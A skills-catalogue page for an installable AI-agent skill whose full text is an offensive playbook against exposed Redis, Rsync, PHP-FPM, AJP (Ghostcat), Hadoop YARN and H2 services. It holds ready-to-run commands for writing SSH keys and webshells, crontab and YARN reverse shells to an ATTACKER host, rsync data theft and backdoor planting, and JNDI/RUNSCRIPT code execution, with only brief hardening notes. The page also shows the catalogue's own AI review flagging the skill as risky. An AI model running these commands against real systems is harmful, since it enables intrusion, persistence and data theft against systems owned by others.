unauthorized-access-common-services
Unauthorized access playbook for common exposed services
Install / Use
npx skills add yaklang/hack-skills --skill unauthorized-access-common-servicesInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of unauthorized-access-common-services
unauthorized-access-common-services scores 86/100 on our quality scale, 748th of 1,108 Security skills we index.
Its SKILL.md is 9.7 KB long, well organised into 101 sections with 27 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so unauthorized-access-common-services is actively maintained.
- Our last check on 2026-11-03 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The file is an explicit attack playbook titled 'Unauthorized Access to Common Services' and instructs the agent to exploit unauthenticated services for RCE (Redis master-slave module load, Hadoop YARN app submission, H2 JNDI/RUNSCRIPT, PHP-.
AI review: risky
- The file is an explicit attack playbook titled 'Unauthorized Access to Common Services' and instructs the agent to exploit unauthenticated services for RCE (Redis master-slave module load, Hadoop YARN app submission, H2 JNDI/RUNSCRIPT, PHP-
- It directs the agent to establish persistence and exfiltrate data, e.g., writing Redis keys to /root/.ssh/authorized_keys, planting crontab reverse shells, deploying webshells, and using rsync to download entire modules to /tmp/loot/.
- It provides ready-to-run commands (nmap, redis-cli, rsync, curl, python3 exploit scripts) against a TARGET with no authorization, scope, or defensive safeguards, making the agent perform harmful offensive actions.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-01. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
unauthorized-access-common-services compared with similar skills
All 4 of these similar skills score higher than unauthorized-access-common-services; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| unauthorized-access-common-services (this skill)by yaklang | 86 | 2.3k | 2mo ago | SKILL.md |
| x402by browser-use | 100 | 121.0k | 3d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 149.0k | 6d ago | SKILL.md |
Frequently asked questions
- How do I install unauthorized-access-common-services?
- Run
npx skills add yaklang/hack-skills --skill unauthorized-access-common-services. The install tabs above show the steps for each supported agent. - Which AI agents does unauthorized-access-common-services work with?
- It is written for Zed, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is unauthorized-access-common-services safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The file is an explicit attack playbook titled 'Unauthorized Access to Common Services' and instructs the agent to exploit unauthenticated services for RCE (Redis master-slave module load, Hadoop YARN app submission, H2 JNDI/RUNSCRIPT, PHP-. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is unauthorized-access-common-services still maintained?
- The repository was last updated about 2 months ago, so unauthorized-access-common-services is actively maintained.
Skill content
View source on GitHubname: unauthorized-access-common-services description: >- Unauthorized access playbook for common exposed services. Use when Redis, Rsync, PHP-FPM, AJP/Ghostcat, Hadoop YARN, H2 Console, or similar management interfaces are exposed without authentication.
SKILL: Unauthorized Access to Common Services — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert techniques for exploiting unauthenticated or weakly authenticated management services. Covers Redis write-to-RCE, Rsync data theft, PHP-FPM code execution, Ghostcat AJP file read, Hadoop YARN job submission, and H2 Console JNDI. These are infrastructure-level findings distinct from web application vulnerabilities.
0. RELATED ROUTING
- ssrf-server-side-request-forgery when these services are reachable via SSRF (e.g., SSRF → Redis)
- jndi-injection when H2 Console or similar accepts JNDI connection strings
- deserialization-insecure when RMI Registry or T3 protocol is exposed
- network-protocol-attacks for layer 2/3 attacks during service enumeration
- reverse-shell-techniques for shell payloads after gaining command execution
Comprehensive Port Reference
Also load PORT_SERVICE_MATRIX.md when you need:
- Full exploitation matrix organized by port number (20+ services)
- Enumeration, brute force, and post-exploitation per service
- Quick triage during nmap/masscan output analysis
1. DISCOVERY — PORT SCANNING
nmap -sV -p 6379,873,9000,8009,8088,8082,1099,9200,5984,2375,27017,11211 TARGET
# Key ports:
# 6379 — Redis
# 873 — Rsync
# 9000 — PHP-FPM (FastCGI)
# 8009 — AJP (Tomcat Ghostcat)
# 8088 — Hadoop YARN ResourceManager
# 8082 — H2 Console (or embedded in Spring Boot)
# 1099 — Java RMI Registry
# 9200 — Elasticsearch
# 5984 — CouchDB
# 2375 — Docker API
# 27017 — MongoDB
# 11211 — Memcached
2. REDIS (PORT 6379)
Detection
redis-cli -h TARGET ping
# Response: PONG = unauthenticated access confirmed
redis-cli -h TARGET INFO server
# Returns Redis version, OS, config
Write SSH Authorized Keys
# Generate key pair:
ssh-keygen -t rsa -f redis_rsa
# Write public key to Redis, then dump to authorized_keys:
cat redis_rsa.pub | redis-cli -h TARGET -x set ssh_key
redis-cli -h TARGET config set dir /root/.ssh
redis-cli -h TARGET config set dbfilename authorized_keys
redis-cli -h TARGET save
# Connect:
ssh -i redis_rsa root@TARGET
Write Crontab (Reverse Shell)
redis-cli -h TARGET
> set x "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n"
> config set dir /var/spool/cron/
> config set dbfilename root
> save
Write Webshell
redis-cli -h TARGET
> set webshell "<?php system($_GET['cmd']); ?>"
> config set dir /var/www/html/
> config set dbfilename shell.php
> save
# Access: http://TARGET/shell.php?cmd=id
Master-Slave Replication RCE
Use redis-rogue-server to exploit master-slave replication for loading malicious .so module:
python3 redis-rogue-server.py --rhost TARGET --lhost ATTACKER
# Loads module via SLAVEOF → MODULE LOAD → system.exec
Hardening
requirepass STRONG_PASSWORD
bind 127.0.0.1
protected-mode yes
rename-command CONFIG ""
rename-command FLUSHALL ""
3. RSYNC (PORT 873)
Detection
rsync TARGET::
# Lists available modules (shares) if anonymous access allowed
rsync -av TARGET::MODULE_NAME /tmp/loot/
# Download entire module contents
Exploitation — Write Crontab
# Create reverse shell cron:
echo '*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /tmp/evil_cron
# Upload to target's crontab (if writable module maps to /etc/ or similar):
rsync -av /tmp/evil_cron TARGET::MODULE/cron.d/backdoor
Hardening
# /etc/rsyncd.conf:
auth users = rsync_user
secrets file = /etc/rsyncd.secrets
list = no
hosts allow = 10.0.0.0/8
read only = yes
4. PHP-FPM / FASTCGI (PORT 9000)
Mechanism
PHP-FPM listens for FastCGI requests. If exposed to the network (instead of Unix socket), an attacker can send crafted FastCGI packets to execute arbitrary PHP code.
Exploitation
# Using fcgi_exp or similar tool:
python3 fpm.py TARGET 9000 /var/www/html/index.php -c "<?php system('id'); ?>"
# Key parameters in FastCGI request:
# SCRIPT_FILENAME = path to any existing .php file
# PHP_VALUE = "auto_prepend_file = php://input" (injects POST body as PHP code)
# PHP_ADMIN_VALUE = "allow_url_include = On"
Key FastCGI Environment Variables for Exploitation
SCRIPT_FILENAME = /var/www/html/index.php # must point to an existing .php file
PHP_VALUE = auto_prepend_file = php://input # injects POST body as PHP code
PHP_ADMIN_VALUE = allow_url_include = On # enables remote inclusion
Via SSRF (gopher)
gopher://TARGET:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00...
# Encoded FastCGI packet
# Tool: Gopherus generates the gopher:// URL
python3 gopherus.py --exploit fastcgi
Hardening
; php-fpm.conf — bind to socket only:
listen = /var/run/php-fpm.sock
; If TCP required, restrict:
listen.allowed_clients = 127.0.0.1
5. GHOSTCAT — AJP (PORT 8009) — CVE-2020-1938
Mechanism
Apache JServ Protocol (AJP) is used between reverse proxy and Tomcat. AJP trusts all incoming data — an attacker connecting directly can set javax.servlet.include.request_uri to read arbitrary files from the webapp directory.
File Read
# Using ajpShooter or similar:
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read
# Reads any file within the webapp root:
# /WEB-INF/web.xml — deployment descriptor
# /WEB-INF/classes/*.class — compiled Java classes
# /WEB-INF/lib/*.jar — library JARs
File Include → RCE
If a file upload exists (e.g., uploaded JSP disguised as image), AJP can include it as JSP:
python3 ajpShooter.py TARGET 8009 /uploaded_avatar.txt eval
# If the file contains JSP code, it gets executed
Hardening
<!-- server.xml — disable AJP or add secret: -->
<Connector port="8009" protocol="AJP/1.3" secretRequired="true" secret="STRONG_SECRET"/>
<!-- Or remove the AJP connector entirely -->
6. HADOOP YARN RESOURCEMANAGER (PORT 8088)
Detection
curl http://TARGET:8088/cluster
# If accessible → unauthenticated YARN ResourceManager UI
RCE via Application Submission
# Submit a MapReduce application that executes a command:
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
# Returns: {"application-id":"application_xxx_0001"}
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps \
-H "Content-Type: application/json" \
-d '{
"application-id": "application_xxx_0001",
"application-name": "test",
"am-container-spec": {
"commands": {"command": "/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1"}
},
"application-type": "YARN"
}'
Hardening
Enable Kerberos authentication; restrict network access to management ports.
7. H2 DATABASE CONSOLE
Detection
H2 Console is often enabled in Spring Boot apps via:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
Access: http://TARGET:PORT/h2-console
JNDI Injection via Connection String
In the H2 Console login form, the JDBC URL field accepts JNDI.
BeanFactory + EL bypass (works on Java 8u252+):
# JDBC URL in login form:
javax.naming.InitialContext
# LDAP response attributes:
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")
Also see jndi-injection for the full JNDI/BeanFactory exploitation flow.
RCE via RUNSCRIPT
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "ok"; }';
CALL EXEC('id');
8. QUICK REFERENCE
# Redis — check auth:
redis-cli -h TARGET ping
# Redis — write webshell:
SET x "<?php system($_GET['c']);?>"
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SAVE
# Rsync — list modules:
rsync TARGET::
# Ghostcat — read web.xml:
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read
# YARN — submit RCE job:
curl -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
# H2 — RCE via alias:
CREATE ALIAS EXEC AS '...Runtime.exec...'; CALL EXEC('id');
9. REVERSE PROXY MISCONFIGURATION
Nginx Off-By-Slash Path Traversal
# Vulnerable configuration:
location /static {
alias /var/www/static/;
}
# Access: /static../etc/passwd → resolves to /var/www/etc/passwd
# The missing trailing slash on location causes path traversal
# Fix: location /static/ (with trailing slash matching alias)
Nginx Missing Root Location
# If no root location defined and alias is used:
# Attacker may access nginx.conf or other server files
GET /..%2f..%2fetc/nginx/nginx.conf HTTP/1.1
X-Forwarded-For / X-Real-IP Trust
# If backend trusts these headers for IP-based auth:
GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
# May bypass IP whitelist for admin panels
Caddy Template Injection
# Caddy with templates enabled:
# If user input reaches Caddy template rendering:
{{.Req.Host}} → Information disclosure
{{readFile "/etc/passwd"}} → Local file read via Go template
# This is essentially a Go template injection through proxy config
Useful Tools
yandex/gixy— Nginx configuration analyzerRaelize/Kyubi— Reverse proxy misconfiguration scannerGerbenJavado/bypass-url-parser— URL parser confusion tester
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Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
